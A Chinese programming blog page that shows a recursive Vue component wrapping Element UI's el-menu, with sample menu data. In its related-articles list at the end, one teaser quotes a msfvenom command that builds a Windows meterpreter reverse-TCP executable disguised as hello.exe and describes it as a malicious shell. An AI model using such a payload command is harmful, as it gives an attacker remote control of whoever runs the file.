首页 > 其他分享 >elementui组件封装(el-menu)

elementui组件封装(el-menu)

时间:2023-10-15 15:23:42浏览次数:33  
标签:el elementui menuId menu menuData menuDesc key children keyPath

废话不多说直接上代码:

递归菜单项:

<template>
  <el-submenu v-if="menuData.children && menuData.children.length > 0" :index="menuData.menuId">
    <template slot="title">
      <i class="el-icon-location" />
      <span>{{ menuData.menuDesc }}</span>
    </template>

    <MenuItem v-for="item in menuData.children" :key="item.menuId" :menu-data="item" />
  </el-submenu>

  <el-menu-item v-else :index="menuData.menuId">
    <i class="el-icon-menu" />
    <span slot="title">{{ menuData.menuDesc }}</span>
  </el-menu-item>
</template>

<script>
export default {
  name: 'MenuItem',
  // eslint-disable-next-line vue/require-prop-types
  props: ['menuData'],
  data() {
    return {
      // menuData: [{ menuId: '1', menuDesc: '导航1', parentMenu: null, children: [{ menuId: '1-1', menuDesc: '导航1-1', parentMenu: '1' }] }]
    }
  },
  methods: {
    handleOpen(key, keyPath) {
      console.log(key, keyPath)
    },
    handleClose(key, keyPath) {
      console.log(key, keyPath)
    }
  }
}
</script>

  外层代码:

 

<el-menu default-active="1" mode="horizontal">
        <menu-item v-for="item in menuList" :key="item.id" :menu-data="item" />
      </el-menu>



// 数据示例:
menuList: [{ menuId: '1', menuDesc: '导航1', children: [{ menuId: '1-1', menuDesc: '导航1-1', children: null }] }, { menuId: '2', menuDesc: '导航2', children: [] }]

  

标签:el,elementui,menuId,menu,menuData,menuDesc,key,children,keyPath
From: https://www.cnblogs.com/volts0302/p/17765653.html

相关文章

  • 第二节 制作获取shell
    //实验内容:制作Windows恶意软件获取shell//Msfvenom的shell在Windows中使用的msfvenom生成shell.exe//制作恶意shellmsfvenom-pwindows/meterpreter/reverse_tcplhost=192.168.1.5lport=2323-fexe>hello.exe //启动metaspliotmsfconsole //设置侦听//......
  • 【PRC】鲁棒跨域伪标记和对比学习的无监督域自适应NIR-VIS人脸识别 Robust Cross-Doma
    【该文章为杨学长的文章,膜拜】 探索跨领域数据中的内在关系并学习领域不变表示 由于需要在低光照条件下实现24h的人脸识别,近红外加可见光的(NIR-VIS)人脸识别受到了更多的关注。但是数据标注是一个难点。该文章提出了RobustcrossdomainPseudo-labelingandContrastivelear......
  • kernel6.5.7+busybox1.36.1制作一个Mini Linux (没启动起来)
    目录前奏下载linux内核源码并编译下载busybox的源代码制作根文件系统镜像文件安装qemu...有兴趣的同学可参考该文档将其完善...前奏rambo@debian:~$cat/etc/issueDebianGNU/Linux12\n\lrambo@debian:~$free-htotalusedfree......
  • ORCA优化器浅析——IMDRelation Storage type of a relation GP6与GP7对比
    如上图所示IMDRelation作为Interfaceforrelationsinthemetadatacache,其定义了Storagetypeofarelation表的存储类型,如下所示:enumErelstoragetype{ ErelstorageHeap, ErelstorageAppendOnlyCols, ErelstorageAppendOnlyRows, ErelstorageAppendOnlyParquet, E......
  • SpringCloud Sentinel原理介绍
    SpringCloud微服务保护技术一般都是:Hystrix和Sentinle,早期比较流行的是Hystrix框架,但目前国内实用最广泛的还是阿里巴巴的Sentinel框架,我们对这两种常见技术进行对比:SentinelHystrix隔离策略信号量隔离线程池隔离/信号量隔离熔断降级策略基于慢调用比例或异常比例基于失败比率实......
  • linux shell终端中实现数值计算
     001、方法1expr[root@pc1test]#expr50+4090  002、方法2bc[root@pc1test]#echo50+40|bc90 003、方法3 awk[root@pc1test]#awk'BEGIN{print50+40}'90 004、方法4 (())[root@pc1test]#echo$((50+40))90[root@pc1test]#......
  • 核方法(kernel method)的主要思想
    本文对核方法(kernelmethod)进行简要的介绍(https://www.jianshu.com/p/8e2649a435c4)。核方法的主要思想是基于这样一个假设:“在低维空间中不能线性分割的点集,通过转化为高维空间中的点集时,很有可能变为线性可分的”,例如下图   左图的两类数据要想在一维空间上线性分开......
  • C语言 likely和unlikely
    likely和unlikely作用在知道哪个发生概率更高的情况下,有if时使用likely和unlikely让代码运行更快。likely和unlikely是两个宏,当有if-else分支时告诉编译器,哪个条件更加有可能发生。likely代表if分支大概率会发生,unlikely代表if分支大概率不会发生。#definelikely(x)__builtin_......
  • linux shell中创建函数
     001、[root@pc1test]#cattest.sh##函数脚本#!/bin/bashfunctiondb1##function关键字来定义函数,db1是函数名{read-p"请输入:"valuereturn$[$value*2]##return返回函数值}db1#......
  • if else的多种替换方式
    1)利用逻辑判断的短路运算来实现&&和 ||(&&中第一个表达式为假就不会去处理第二个表达式,||则相反)//if为真if(bool){value=getYes();}//&&改版bool&&(value=getYes());//if为假if(!bool){value=getNo();}bool||(value=getNo());2)三元运算......